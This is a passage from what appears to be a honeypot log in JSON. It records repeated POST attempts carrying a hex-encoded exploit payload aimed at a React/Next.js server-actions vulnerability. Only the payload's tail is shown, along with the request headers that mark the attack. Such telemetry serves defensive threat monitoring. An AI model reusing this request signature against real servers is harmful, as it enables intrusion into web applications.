5c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"f768a247-82c6-41ec-b775-3737d48199e7","seq":1,"duration_ms":100,"bytes_in":1611,"bytes_out":78}],"http_methods":[{"method":"POST","count":219}],"distinct_ports_total":6,"top_paths":[{"path":"/","count":219,"ports":5}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1371","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE","notable":true},{"name":"Host","value":"<HONEYPOT>:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-11T18:50:58.289333+00:00"}